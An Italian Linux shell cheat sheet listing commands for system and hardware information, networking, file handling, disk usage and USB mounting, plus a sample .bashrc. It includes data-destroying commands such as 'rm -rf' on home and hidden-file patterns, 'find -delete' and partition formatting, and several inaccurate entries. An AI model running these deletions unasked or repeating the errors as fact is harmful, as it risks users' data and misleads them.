COMANDI PRINCIPALI LINUX SHELL

IMPOSTARE IL LAYOUT DI TASTIERA (KEYBOARD LAYOUT)

*) loadkeys it ===> imposta la mappatura italiana dei caratteri sulla tastiera

*) loadkeys us ===> imposta la mappatura americana dei caratteri sulla tastiera

*) loadkeys uk ===> imposta la mappatura inglese dei caratteri sulla tastiera

 

INFORMAZIONI DETTAGLIATE SU SISTEMA OPERATIVO e HARDWARE

*) hostnamectl ===> Visualizza informazioni dettagliate sul PC (anche distro e versione linux)

*) lsb_release -a ===> Mostra dettagli sulla distribuzione Linux

*) uname -a ===> Mostra dettagli sulla distribuzione Linux

*) lsmod ===> Elenca i moduli del kernel

*) modinfo <modulo-kernel-lsmod> ===> Mostra dettagli sui moduli del kernel elencati con lsmod

*) cat /etc/issue ===> Mostra dettagli sulla distribuzione Linux

*) cat /etc/os-release ===> Mostra dettagli sulla distribuzione Linux

*) cat /etc/centos-release ===> Solo per CentOS

*) cat /etc/redhat-release ===> Solo per RedHat

*) yum info kernel ===> Mostra dettagli sul Kernel Linux

*) uptime ===> Mostra da quante ore il server è acceso

*) lscpu ===> Mostra info dettagliate sulla CPU

*) dmidecode -t processor ===> Mostra info dettagliate sulla CPU

*) cpuid ===> Mostra info dettagliate sulla CPU

*) dmesg | grep CPU ===> Mostra info dettagliate sulla CPU

*) vim /proc/cpuinfo ===> Mostra info dettagliate sulla CPU

*) cat /proc/cpuinfo | egrep "core id|physical id" | tr -d "\n" | sed s/physical/\\nphysical/g | grep -v ^$ | sort | uniq | wc -l ===> Mostra info dettagliate sulla CPU

*) nproc ===> Mostra il numero delle CPU

*) hwinfo --short –cpu ===> Mostra info dettagliate sulla CPU

*) hwinfo ===> Mostra info dettagliate sull’ Hardware

*) lspci ===> Mostra l’elenco delle caratteristiche del bus PCI

*) less /var/log/dmesg ====> Mostra il log dmesg

 

INFORMAZIONI DETTAGLIATE SU RISORSE E FILE SYSTEM

*) free -lh ===> Mostra dettagli sulla RAM

*) less /proc/meminfo ====> Mostra ancora più dettagli sulla RAM

*) fdisk -l ===> Mostra dettagli approfonditi su disch, partizioni, filesystem (no diagnostica)

*) vgdisplay ===> Mostra dettagli sui Volume Groups

*) lvdisplay ===> Mostra dettagli sui Logical Volumes

*) pvdisplay ===> Mostra dettagli sui Physical Volumes

*) fsck /dev/sdx ====> Mostra dettagli sul file system e sulle partizioni

*) df -h ===> Mostra dettagli sulla occupazione spazio del filesystem

*) du -h ===> Mostra la lista completa con la dimensione di ogni file

*) du -h /dir ===> Mostra la lista completa con la dimensione di ogni file nella directory specificata

*) du -B G /xxx/yyy/ | sort -n ====> Mostra la lista completa con la dimensione espressa in Giga Byte IN ORDINE NUMERICO CRESCENTE, di ogni file nella directory specificata

*) du -m /xxx/yyy/ | sort -n

*) du --block-size=1G /xxx/yyy/ | sort -rn ====> Mostra la lista completa con la dimensione espressa in Giga Byte IN ORDINE NUMERICO DECRESCENTE, di ogni file nella directory specificata

*) mpstat -P ALL ====> Visualizza informazioni sulla CPU e sui singoli Core

*) tree ===> Visualizza la struttura del filesystem ad albero (non presente in alcune distro come RedHat, Centos, etc, e NON installabile con yum install tree)

*) pstree ====> Mostra l'albero gerarchico dei processi attivi nel sistema

*) lsblk ===> Mostra dettagli sulle partizioni

*) blkid ===> Mostra la mappatura delle partizioni e l’ID dei dischi per fstab

*) cat /etc/fstab ===> Mostra la mappatura delle partizioni che vengono montate all'avvio

*) jobs ===> Mostra i jobs (processi avviati da un comando lanciato dalla shell) relativi al terminale corrente

 

INFORMAZIONI DETTAGLIATE SUGLI UTENTI

*) whoami ====> Visualizza il Nome Utente con cui si è loggati

*) id ====> Visualizza dettagli sullo user account con cui si è loggati

*) id nomeutente ====> Visualizza dettagli sullo user account specificato

*) w ====> Visualizza gli utenti attualmente loggati nel sistema (anche il Sys Admin !!!)

*) pwd ====> Visualizza la directory corrente (Print Working Directory)

 

INFORMAZIONI DETTAGLIATE SU RETE E CONNESSIONE

*) curl ipinfo.io ====> Mostra IP Pubblico, coordinate GPS, Citta, Stato e ISP

*) wget https://ipinfo.io/ip -qO- ===> Mostra solo IP Pubblico

*) ip a ====> Mostra configurazione di base di tutte le interfacce (simile a ifconfig)

*) ip –r ====> Mostra il Default Gateway

*) ip route ====> Mostra il Default Gateway

*) ip link ====> Mostra informazioni mac ethernet di tutte le interfacce (simile a ifconfig)

*) nmcli dev show ====> Mostra dettagli interfacce rete

*) ifconfig ====> Mostra dettagli interfacce rete

*) netstat -tulpn ====> Mostra porte TCP e UDP in ascolto o connesse (richiede privilegi root)

*) netstat –rea ====> Mostra il Default Gateway

*) netstat –r ====> Mostra il Default Gateway

*) route –n ====> Visualizza il Default Gateway

*) service network-manager status ===> Visualizza lo stato del Servizio di rete

 

OPERAZIONI SULLE INTERFACCE DI RETE (NETWORK INTERFACES)

COMANDI SERVIZI DI RETE:

*) /etc/init.d/networking stop ===> Arresta i Servizi di Rete

*) /etc/init.d/networking start ===> Avvia i Servizi di Rete

*) /etc/init.d/networking restart ===> Riavvia i Servizi di Rete

*) /etc/init.d/service network-manager status ===> Visualizza lo stato del Servizio di rete

*) /etc/init.d/service network-manager restart ===> Riavvia il Servizio di rete

*) /etc/init.d/service network-manager stop ===> Arresta il Servizio di rete

*) /etc/init.d/service network-manager start ===> Avvia il Servizio di rete

*) sysctl kernel.hostname=nuovohostname

*) hostname nuovohostname

FILE DI CONFIGURAZIONE

*) /etc/network/interfaces (Debian)

*) /etc/network.conf

*) /etc/sysconfig/network-scripts/ifcfg-eth0 (RedHat)

*) /etc/hostname (HostName Debian)

*) /etc/sysconfig/network (HostName RedHat)

*) /etc/resolv.conf (DNS Debian)

OPERAZIONI SUL SISTEMA E SUI SERVIZI

*) which nomecomando ===> Localizza lo specifico file binario associato ad un comando

*) whereis nomecomando ===> Localizza lo specifico file binario associato ad un comando

*) type -all -path nomecomando ===> Localizza lo specifico file associato ad un comando

*) ps -aux ===> ps -ef ===> Mostra tutti i processi attivi sulla macchina

*) ps -fu UserName ====> Mostra tutti i processi associati allu Username specificato

*) jobs ===> Visualizza la lista dei jobs attivi sula macchina (servizi, applicativi, batch, shell script

*) env ===> Mostra tutte le variabili d'ambiente

*) reboot ===> Riavvia il sistema (l'intero PC)

*) shutdown -h now ===> Spegni il Sistema (l'intero PC)

*) halt ===> (NON consigliato) Spegni il Sistema in modo BRUTALE (l'intero PC)

 

 

CERCARE FILE NEL SISTEMA

*) locate nomefile ===> cerca la stringa specificata

*) updatedb ===> Aggiorna il DataBase di ricerca di "locate"

*) find / -type f -iname nomefile ===> Cerca in tutto il Filesystem (/) i file (f) non case sensitive (-iname)

 

CONVERSIONE LAYOUT TASTIERA US – IT

A volte i problemi di PASSWORD NON ACCETTATA possono dipendere dal layout della tastiera che interpreta in maniera SBAGLIATA I CARATTERI SPECIALI:

(*) Mappatura us

@ Chiocciola ====> [SHIFT] 2 ====> Doppi apici "

# Cancelletto ====> [SHIFT] 3 ====> Lira £

& E Commerciale ====> [SHIFT] 7 ====> Slash /

* Asterisco ====> [SHIFT] 8 ====> Parentesi aperta (

( Parentesi Aperta ====> [SHIFT] 9 ====> Parentesi chiusa )

) Parentesi Chiusa ====> [SHIFT] 0 ====> Uguale =

- Trattino ====> ' ====> Apice singolo '

+ Piu ====> [SHIFT] ì ====> Accento circonflesso ^

= Uguale ====> ì ====> i accentata ì

_ Underscore ====> [SHIFT] ' ====> Apice singolo '

| Pipe ====> [SHIFT] ù ====> Sterlina §

~ Tilde [ALT] 126 su Tastierino Numerico ====> [SHIFT] \ ====> Pipe |

/ Slash ====> - ====> Trattino -

\ Back Slash ====> ù ====> u accentata ù

? Punto interrogativo ====> [SHIFT] - ====>

> Maggiore ====> [SHIFT] . ====> Due Punti :

< Minore ====> [SHIFT] , ====> Punto e virgola ;

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

 

COMANDI BASE BASH SHELL

cat - Legge (concatena) uno o più file, visualizzazione sull'uscita standard

cd - ChangeDirectory, cambia directory

chmod - CHangeMODe - cambia il mode di accesso (permissioni di accesso) di uno o più file

chown - CHangeOWNer - cambia il proprietario di uno o più file

cp - Copia dei file

crontab - Pianificazione dei compiti (task)

cut - Rimuove le specifiche parti del testo di ogni riga di un file

date - Visualizza la data nel formato richiesto

date -s "MM/GG/AAAA hh:mm:ss" - Imposta la data e l'ora (la data deve essere in formato americano mese/giorno/anno)

time - Misura il tempo di esecuzione di un programma o di uno script (time ./nomeprogramma)

dd - DevicetoDevice - copia byte per byte tutto o parte del contenuto di un dispositivo (di solito di memorizzazione) ad un altro dispositivo.

df - Visualizza la quantità di spazio libero su tutti i file system

du - DiksUsage - l'uso del disco

echo - Visualizza il testo sull'uscita standard (sullo schermo)

exit - Ferma l'esecuzione della shell

fdisk -l - Mostra informazioni dettagliate sui dischi (no diagnostica)

find - Ricerca di file

fsck - FileSystemChecK - verifica l'integrità dei file sistema

grep - Ricerca in uno o più file le righe che corrispondono ad un modello

groupadd - Aggiunge un gruppo di utenti

gunzip - Decomprime i file

gzip - Comprime i file

head - Visualizza le prime righe (di default 10) di un file

help - Visualizza una guida sui comandi interni di bash

id - Visualizza info sull'account utente

kill - Invia un segnale ad un processo

less - Programma di visualizzazione sullo schermo

ln - Creazione di symbol link

ls - Elenca il contenuto delle directory

man - Visualizza le pagine di manuale

mkdir - MaKeDIRectory - Crea una directory

mkfs - MaKeFileSystem - Crea un file sistema

more - Programma di visualizzazione sullo schermo

mount - Monta un sistema di file

mv - Sposta, rinomina un file

ps - Visualizza i processi in esecuzione

pwd - Print name of current/working directory - Visualizza il percorso completo della directory corrente

rm - Elimina un file

rmdir - Remove empty directories - Elimina una cartella vuota

tail - Visualizza le ultime 10 righe di un file

tar - Crea un archivio

su - Substitute User identity o Switch User - Cambia l'identità di un utente

uname -a - Visualizza delle informazioni sul sistema.

useradd - Aggiunge un utente

whereis - Individua un comando

\[INVIO]- Ritorno a capo. Permette di inserire i comandi dall'inizio della riga successiva. Utile quando il comando è molto lungo e si vuole che sia sulla stessa riga. In questa modalita' il prompt e' sostituito dal simbolo maggiore >

------------------------------------------------------------------------

SCORCIATOIE TASTIERA SHELL BASH CONSOLE TERMINALE CLI LINEA COMANDO (KEYBOARD SHORTCUTS)

cd [INVIO] ====> Vai direttamente alla Home directory dell'utente che ha lanciato il comando

[CTRL] + a ====> Vai all'inizio della riga

[CTRL] + e ====> Vai alla fine della riga

[CTRL] + xx ====> Eseguito la prima volta, va all'inizio della riga. Ripetuto più volte riporta alla posizione dalla quale era stato lanciato la prima volta, poi di nuovo all'inizio e così via. Utile per andare ad inizio riga per poi tornare dove si era.

[ALT] + d ====> Cancella l'intera stringa a destra del cursore

[CTRL] + [SHIFT] + _ ====> UNDO: Annulla le ultime azioni eseguite

[CTRL] + l (L minuscola) ====> Pulisci la schermata (equivale al comando "clear")

[CTRL] + w ====> Taglia la parola prima del cursore, aggiungendola al appunti

[CTRL] + k ====> taglia la parte della linea dopo il cursore, aggiungendola negli appunti.

[CTRL] + u ====> Taglia la parte della linea prima del cursore, aggiungendola negli appunti.

[CTRL] + y ====> incolla l'ultima cosa tagliata dagli appunti. La y sta per "yank".

[ALT] + [SHIFT] + C ====> Converte in Maiuscolo il carattere sotto il cursore ed in minuscolo tutte le altre lettere fino alla fine della parola (fino al primo spazio)

[ALT] + [SHIFT] + U ====> Converte in MAIUSCOLO (Upper case) ogni carattere dal cursore alla fine della parola (fino al primo spazio)

[ALT] + [SHIFT] + L ====> Converte in minuscolo (Lower case) ogni carattere dal cursore alla fine della parola (fino al primo spazio)

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

*) man COMANDO ===> Fornisce la guida (in inglese) al comando e a tutte le possibili estensioni

*) cd ===> change Directory (cambia directory)

cd /percorso/cartella

cd - ===> Torna nella directory dove si era prima

cd ===> Con uno spazio e senza argomento, torna alla home dell’utente

*) ps ===> mostra l’elenco dei processi attivati dall’utente. Con l’estensione "aux (-eaf) mostra tutti i processi della macchina. Con l'opzione -fu UserName visualizza tutti i processi o le attivita' associate all'utente specificato.

*) cat /xxx/yyy/zzz/nomefile # visualizza il testo del file specificato (equivale a "type" in DOS)

cat -n /xxx/yyy/zzz/nomefile # visualizza il testo numerando le righe

*) zcat # come cat ma permette di leggere direttamente in un file di testo anche se compresso

*) tail # Visualizza le ultime 10 righe del file testo specificato

tail -30 # Visualizza le ultime 30 righe del file testo specificato

tail -f # Con -f il comando resta in ascolto e visualizza le nuove righe eventualmente aggiunte al file di log

tail -30f # Come il precedente ma visualizza un numero di righe pari al numero specificato (30 in questo esempio)

*) less # visualizza il testo del file pagina per pagina

*) more # visualizza il testo del file pagina per pagina

*) zless # come less ma permette di leggere direttamente in un file di testo anche se compresso

*) joe /xxx/yyy/zzz/nomefile ===> Programma di videoscrittura

*) nano /xxx/yyy/zzz/nomefile ===> Programma di videoscrittura

*) vi /xxx/yyy/zzz/nomefile ===> Come sopra

*) gedit /xxx/yyy/zzz/nomefile ===> Editor leggero e semplice

*) traceroute ===> Traccia i nodi di instradamento dei pacchetti utilizzando UDP

*) traceroute -I ===> Traccia i nodi di instradamento dei pacchetti utilizzando ICMP

*) ls (o ll) # Elenca file e cartelle. Equivale a dir sotto DOS. Per liste molto lunghe, usando PagUP e PagDOWN oppure [SHIFT] PagUP e [SHIFT] PagDOWN e possibile scorrere l'intera Shell

ls -ltrha ===> Visualizza la Lista (l) in ordine cronologico (t) dal piu vecchio al piu recente (r) tutti i file, compresi quelli nascosti (a)

ls -lSrha ===> Visualizza la Lista (l) in ordine crescente (r) dal piu piccolo al piu grande (S) tutti i file, compresi quelli nascosti (a)

OPZIONI

-h (human) = Scrive le dimensioni con suffissi K,M,G,T più facili da interpretare

-l (list) = Presenta una lista con più dettagli

-t (time) = Organizza in ordine cronologico

-S (Size) = Organizza in ordine di dimensione

-r (reverse) = Organizza la visualizzazione dal più piccolo al più grande (-S) o dal più vecchio al più recente (-t)

-a (all) = Visualizza anche i file nascosti (.nomefile)

COMANDO ll

In alcune shell, il comando ll potrebbe non funzionare. Questo avviene perchè in realtà il comando ll non è altro che un alias del comando ls. Per attivare tale funzionalità basta aprire il file (nascosto) .bashrc contenuto in ogni home directory di ogni utente (vi /home/username/.bashrc). Una volta aperto il file basta inserire la seguente istruzione:

alias ll='ls -lah'

Con questo sistema è anche possibile aggiungere (creare) nuovi comandi, per esempio, per comodità si può creare il comando "lll" (tre volte L minuscola) che sostituisce "ls -ltrahF" (visualizza la lista di TUTTI i file in ordine cronologico inverso (il più recente in basso))

alias lll='ls -ltrahF'

oppure

alias lll="ls -ltrahF"

--------------------------------------------------

HOME DIRECTORY

*) A volte puo' capitare che, su alcuni sistemi, venga creata una Home Directory "spoglia". Cioe' una semplice directory senza nessuna possibilita' di personalizzazione. Questo problema e' spesso imputabile ad una non corretta configurazione di LDAP/PAM. Per ripristinare la corretta configurazione:

rm -rf /home/username (ATTENZIONE questo comando cancella tutto il contenuto della Home !!!!!)

cp -aux /etc/skel /home/username

chown -R username:group /home/username

 

*) La home directory è contenuta nella propria variabile d'ambiente e può essere richiamata direttamente attraverso dei caratteri speciali (jolly) senza specificare necessariamente il percorso assoluto. Questo puo essere fatto in diversi modi:

CARATTERE JOLLY $ (Dollaro)

cd $HOME ===> vai alla directory home dell'utente che lancia il comando. Esempio:

cd $home

pwd

/home/nomeutente

CARATTERE JOLLY ~ (tilde)

*) In Windows, la tilde ~ si ottiene tenendo premuto il tasto [ALT] e digitando 126 sul (e SOLTANTO sul) TASTIERINO NUMERICO.

*) Nella shell Bash di Linux la si ottiene prmendo i tasti [Alt Gr] + [ì] oppure premendo il tasto [Pag Down] oppure premendo [F5]

*) In text editor come VIM (Linux) la si ottiene esclusivamente prmendo i tasti [Alt Gr] + [ì]

cd ~ ===> vai alla directory home dell'utente che lancia il comando. Esempio:

cd ~

pwd

/home/nomeutente

--------------------------------------------------

.BASHRC (File di Configurazione per Personalizzare la Shell)

Nella Home Directory di un utente devono essere presenti alcuni file di configurazione che servono a personalizzare la Shell.

Tra questi file troviamo:

FILE DI CONFIGURAZIONE DELLA SHELL BASH

/home/username/.bash_history

/home/username/.bash_profile

/home/username/.bash_logout

/home/username/.bashrc

Il file .bashrc è quello che ci permette di definire alcune caratteristiche specifiche come ad esempio:

*) alias dei comandi

*) colori del prompt

*) visualizzazione del percorso assoluto e/o della directory corrente

Di seguito si riporta un esempio di file .bashrc:

******************** .bashrc *************************************

# ~/.bashrc: executed by bash(1) for non-login shells.

# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)

# for examples

# If not running interactively, don't do anything

case $- in

*i*) ;;

*) return;;

esac

# don't put duplicate lines or lines starting with space in the history.

# See bash(1) for more options

HISTCONTROL=ignoreboth

# append to the history file, don't overwrite it

shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)

HISTSIZE=1000

HISTFILESIZE=2000

# check the window size after each command and, if necessary,

# update the values of LINES and COLUMNS.

shopt -s checkwinsize

# If set, the pattern "**" used in a pathname expansion context will

# match all files and zero or more directories and subdirectories.

#shopt -s globstar

# make less more friendly for non-text input files, see lesspipe(1)

#[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"

# set variable identifying the chroot you work in (used in the prompt below)

if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then

debian_chroot=$(cat /etc/debian_chroot)

fi

# set a fancy prompt (non-color, unless we know we "want" color)

case "$TERM" in

xterm-color) color_prompt=yes;;

esac

# uncomment for a colored prompt, if the terminal has the capability; turned

# off by default to not distract the user: the focus in a terminal window

# should be on the output of commands, not on the prompt

force_color_prompt=yes

if [ -n "$force_color_prompt" ]; then

if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then

# We have color support; assume it's compliant with Ecma-48

# (ISO/IEC-6429). (Lack of such support is extremely rare, and such

# a case would tend to support setf rather than setaf.)

color_prompt=yes

else

color_prompt=

fi

fi

if [ "$color_prompt" = yes ]; then

PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '

else

PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '

fi

unset color_prompt force_color_prompt

# If this is an xterm set the title to user@host:dir

case "$TERM" in

xterm*|rxvt*)

PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"

;;

*)

;;

esac

# enable color support of ls and also add handy aliases

if [ -x /usr/bin/dircolors ]; then

test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"

alias ls='ls --color=auto'

alias ll='ls -lahF --color=auto'

alias lll='ls -ltrahF --color=auto'

alias dir='dir --color=auto'

alias vdir='vdir --color=auto'

alias mv='mv -i'

alias cp='cp -i'

alias rm='rm -i'

alias grep='grep --color=auto'

alias fgrep='fgrep --color=auto'

alias egrep='egrep --color=auto'

fi

# some more ls aliases

#alias ll='ls -l'

#alias la='ls -A'

#alias l='ls -CF'

# Alias definitions.

# You may want to put all your additions into a separate file like

# ~/.bash_aliases, instead of adding them here directly.

# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then

. ~/.bash_aliases

fi

# enable programmable completion features (you don't need to enable

# this, if it's already enabled in /etc/bash.bashrc and /etc/profile

# sources /etc/bash.bashrc).

if ! shopt -oq posix; then

if [ -f /usr/share/bash-completion/bash_completion ]; then

. /usr/share/bash-completion/bash_completion

elif [ -f /etc/bash_completion ]; then

. /etc/bash_completion

fi

fi

# export proxy

# Le seguenti impostazioni permettono di configurare un un server Proxy per la navigazione Internet dalla Rete Postel

# export http_proxy="192.168.20.212:8080"

# export https_proxy="192.168.20.212:8080"

# export no_proxy="192.168.20.212:8080"

************************** Fine .bashrc ***************************************

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

*) lspci –vv ====> Visualizza l’elenco delle caratteristiche del bus PCI

*) lscpu ====> Mostra molte info sulla CPU

*) /proc/cpuinfo ====> Mostra TUTTE le info sulla CPU

*) mpstat -P ALL ====> Visualizza informazioni sul Processore e tutti i singoli Core

ESEMPIO:

[root@sidtc-fe1-pag ~]# mpstat -P ALL

Linux 2.6.32-696.el6.x86_64 (sidtc-fe1-pag) 01/20/2021 _x86_64_ (2 CPU)

11:53:31 PM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %idle

11:53:31 PM all 0.45 0.00 0.69 0.12 0.00 0.00 0.00 0.00 98.73

11:53:31 PM 0 0.44 0.00 0.71 0.11 0.00 0.00 0.00 0.00 98.74

11:53:31 PM 1 0.47 0.00 0.67 0.13 0.00 0.00 0.00 0.00 98.72

*) free -lh ===> Visualizza dettagli sulla RAM, con -h (human) esprime in GB per facile lettura umana

*) chmod a+w /mnt/pendrive ===> Autorizza tutti a scrivere (a+w = all+write) nella directory /mnt/pendrive

*) find /home/caos -iname '*.cc' ====> cerca nella directory /home/caos (e in tutte le sottodirectory) tutti i file con estensione .cc

Il comando find cerca per default in tutte le sottodirectory disponibili, quindi per cercare un file nell'intero sistema basta dare il comando:

find / -iname 'nome file' Se il nome del file contiene spazi si deve 'scriverlo tra virgolette'

find /home/caos -iname '*.cc' –delete = trova tutti I file con estensione .cc nella cartella /home/caos (l'opzione -delete cancella i relativi file)

*) dstat = genera una tabella che mostra dettagli del sistema (CPU, Disk, Rete, ecc. NON presente su Parrot. Installare con: apt-get install dstat)

*) top (oppure htop) ===> simile a dstat ma mostra tutti i processi del sistema (Presente su Parrot)

*) top | grep nomeservizio ===> Mostra solo il servizio interessato

*) /dev/urandom = genera dati casuali

*) slurm = Monitor rete (NON presente su Parrot Installare con: apt-get install slurm)

*) tail -100f /var/log/nomelog.log = monitorizza i log di sistema in tempo reale (presente su Parrot)

*) ipcalc IpAddress SubnetMask = mostra i dettagli del subnetting di una rete

*) uptime = mostra da quanto tempo (in ore) il server è acceso

*) find /dirctory -type f -perm o+w ===> cerca all'interno della directory specificata tutti i file (-type f) che sono scrivibili da tutti (world) (-perm o+w)

*) loadkeys it ===> Imposta la tastiera italiana

=====================================================================================

0000000000000000000000000000000000000000000000000000000000000000000000000000000000000

=====================================================================================

 

OPERAZIONI SU DISCHI PARTIZIONI e FILESYSTEM

*) fdisk –l ===> mostra tutte le partizioni utilizzabili, anche quelle non montate

*) df –h ===> Mostra il file sistem con le dimensioni delle partizioni montate

*) tree ===> Visualizza la struttura del filesystem ad albero (non presente in alcune distro come RedHat, Centos, etc, e NON installabile con yum install tree)

*) parted /dev/sdx

unit TB

mklabel nome disco

print = mostra i dettagli della partizione

mkpart primary 0 xx,x

quit

*) Per formattare in xfs su Red Hat servono 2 programmi

yum install xfsdump xfsprogs

mkfs.xfs /dev/sdx1 > Formatta la partizione sdx1 in xfs (make filesystem)

mount /dev/sdx1 /xxx/yyy/zzz

mount –a = monta tutto quello che trova nel file /etc/fstab

*) blkid = mostra l’ID dell’HD per fstab

*) du ===> (Disk Usage) Visualizza le dimensioni di ogni file presente nella directory corrente e in tutte le sottodirectory.

du -sh

-s ====> Visualizza la dimensione di ogni file

-h ====> Human (visualizza le dimensioni in MB, GB, TB, etc)

-k ====> Visualizza tutte le dimensioni in KiloByte

-m ====> Visualizza tutte le dimensioni in MegaByte

--block-size=1G ====> Visualizza tutte le dimensioni in GigaByte

-B G ====> Visualizza tutte le dimensioni in GigaByte o in Mega Byte (con M) o in Tera Byte (con T)

ESEMPIO:

Per liberare spazio su disco, cercare le directory più "pesanti" nel filesystem /archiviazione

[root@vmp-bpm1 EVINDENCE]# du -B G /archiviazione/ | sort -n

1G /archiviazione/appoggio

1G /archiviazione/appoggio/EVINDENCE

1G /archiviazione/appoggio/EVINDENCE/fileDR

1G /archiviazione/appoggio/EVINDENCE/schema

1G /archiviazione/archivio/update-seriali/backup

1G /archiviazione/archivio/update-seriali/errors

1G /archiviazione/lost+found

2G /archiviazione/archivio/card-inspection

2G /archiviazione/archivio_cdc/stampante/generati

3G /archiviazione/archivio/backup20200204

3G /archiviazione/archivio_cdc

3G /archiviazione/archivio_cdc/stampante

4G /archiviazione/archivio/motorizzazione/output

4G /archiviazione/archivio/stampante/esiti

14G /archiviazione/archivio/icao

42G /archiviazione/archivio/sapem

131G /archiviazione/archivio/stampante/generati/2017

534G /archiviazione/archivio/stampante/generati

538G /archiviazione/archivio/stampante

607G /archiviazione/archivio/motorizzazione/input

610G /archiviazione/archivio/motorizzazione

1207G /archiviazione/archivio

1210G /archiviazione/

-----------------------------------------------------------------

*) sort ===> Legge il contenuto di file, directory o standard input e presenta i risultati in ordine alfabetico

*) sort -n ===> Legge il contenuto di file, directory o standard input e presenta i risultati in ordine numerico

*) uniq ===> Mostra solo gli elementi unici di una lista

*) uniq -c ===> Mostra la lista completa (duplicati compresi) ma, alla sinistra, scrive il numero di occorrenze trovate per ogni voce.

ESEMPIO:

Verificare se una lista di fatture presenta voci duplicate e quanti doppioni sono presenti

sort listafatture.txt | uniq -c

...

1 P20190000812937

2 P20190000815501

1 P20190000932654

...

-------------------------------------------------------

MOUNT (Montare una pendrive USB)

*) Verificare le unita' preesistenti

ls /dev/sd*

/dev/sda /dev/sda1 /dev/sdb /dev/sdb1

*) Creare la directory dove montare l'unita'

mkdir -p /media/USB-xxGB

*) Inserire la pendrive nella porta USB del PC

*) Rilevare l'indicativo del nuovo device

ls /dev/sd*

/dev/sda /dev/sda1 /dev/sdb /dev/sdb1 /dev/sdc /dev/sdc1

Le partizioni che prima non c'erano (sdc e sdc1) sono ovviamente della nuova unita'

*) Montarle nel FileSystem con il comando

mount -t vfat /dev/sdc1 /media/USB-xxGB

*) Ora nella directory /media/USB-xxGB saranno presenti tutti i file contenuti nella nostra Pendrive USB

cd /media/USB-xxGB

ls

-------------------------------------------------------------------

RINOMINARE UN FILE

mv /mnt/hda1/'nome file.xyz' /mnt/hda1/'nuovo nome.uvw'

Questo comando rinomina un file. In Linux non c'è un vero e proprio comando per rinominare quindi si salva una copia del file da rinominare dandogli un nome a nostro piacere (come salva con nome di Windows).

SPOSTARE UN FILE (lasciando il nome invariato)

mv /xxx/yyy/zzz/nomefile.xyz /aaa/bbb/ccc/

COPIARE UN FILE (lasciando il nome invariato)

cp -i /xxx/yyy/zzz/nomefile.xyz /aaa/bbb/ccc/

*) L'opzione -i (Interactive) chiede conferma prima di sovrascrivere un eventuale file omonimo gia presente nella directory di destinazione

COPIARE UN FILE (lasciando attributi, permessi ed ownership invariati)

cp -a /xxx/yyy/zzz/nomefile.xyz /aaa/bbb/ccc/

COPIARE UN FILE (cambiando nome)

cp /xxx/yyy/zzz/nomefile.xyz /aaa/bbb/ccc/nuovonome.abc

CANCELLARE IL CONTENUTO DI UN FILE

: > nomefile.xyz

COPIARE UN FILE IN REMOTO

scp /aaa/bbb/FileSorgente UserName@HostName:/xxx/yyy/zzz/FileDestinazione ===> Upload

scp UserName@HostName:/xxx/yyy/zzz/FileSorgente /aaa/bbb/FileDestinazione ===> Download

CREARE UN FILE

touch /xxx/yyy/zzz/nomefile.xxx

Esempio: creare un file di testo con nome curriculum.txt nella cartella /home/user

touch /home/user/curriculum.xz

In alternativa basta aprire un editor testo (tipo VI) e salvarlo con nome

vi /home/user/curriculum.txt

CAMBIARE DATA E ORA AD UN FILE

touch -t YYYYMMDDhhmm

CANCELLARE-ELIMINARE FILE e DIRECTORY (Cartelle)

rm /xxx/yyy/zzz/nomefile.xyz (chiede conferma Y/N)

rm -f /xxx/yyy/zzz/nomefile.xyz (NON chiede conferma)

rm -rf /xxx/yyy/zzz/ (Cancella la directory ‘zzz’ e l’INTERO suo contenuto, file e sottocartelle comprese)

rm -rf /xxx/yyy/zzz/* (Cancella il contenuto della directory zzz ma non la directory stessa né i file nascosti)

rm -i /xxx/yyy/zzz/* (Cancella tutti i file in zzz ma chiede conferma per ognuno)

IMPORTANTE: In Linux ogni file o directory il cui nome inizia con un . è nascosta. Quindi, se si volesse creare un file nascosto chiamato new hidden file:

touch /xxx/yyy/zzz/’.new hidden file.xyz’

Se invece volessimo creare una directory nascosta chiamata new hidden folder:

mkdir /xxx/yyy/zzz/’.new hidden folder’

Per controllare l’avvenuta creazione dei file:

ls -al /xxx/yyy/zzz

rm -rf /xxx/yyy/zzz/.* (Cancella i file nascosti nella directory zzz ma non la directory stessa né i file non nascosti)

rm -rf /xxx/yyy/zzz/.* * (Cancella TUTTI i file, nascosti e non, nella directory zzz ma non la directory stessa)

ATTENZIONE: Dopo l’ultima Slash (/) non bisogna inserire spazi, altrimenti sara’ cancellata anche la directory (zzz)

=====================================================================================

0000000000000000000000000000000000000000000000000000000000000000000000000000000000000

=====================================================================================

PERMESSI UTENTI E GRUPPI

In questo articolo tratteremo ciò che riguarda l’amministrazione di utenti e gruppi in un sistema Linux comprendendo il sistema di gestione dei permessi.

Ogni sistema linux per poter essere amministrato ha bisogno di un utente che abbia pieni privilegi sulla macchina e l’utente in questione è l’utente root.
Infatti durante la fase di installazione viene chiesto di inserire la password relativa ad esso.
Successivamente possiamo creare quanti utenti vogliamo per poter consentire a un bacino di utenza di poter usare la nostra macchina linux.
Ovviamente questi utenti hanno privilegi limitati e non possono di per se andare a modificare la gestione del sistema .

La creazione di un utente viene fatta con il seguente comando:

useradd nomeutente.

La creazione della password relativa all’utente viene fatta tramite il comando:

passwd nomeutente.

Ammettiamo di dover creare l’utente michele:

useradd michele

passwd michele

La memorizzazione dell’utente viene effettuata nei file:

· /etc/passwd

· /etc/shadow
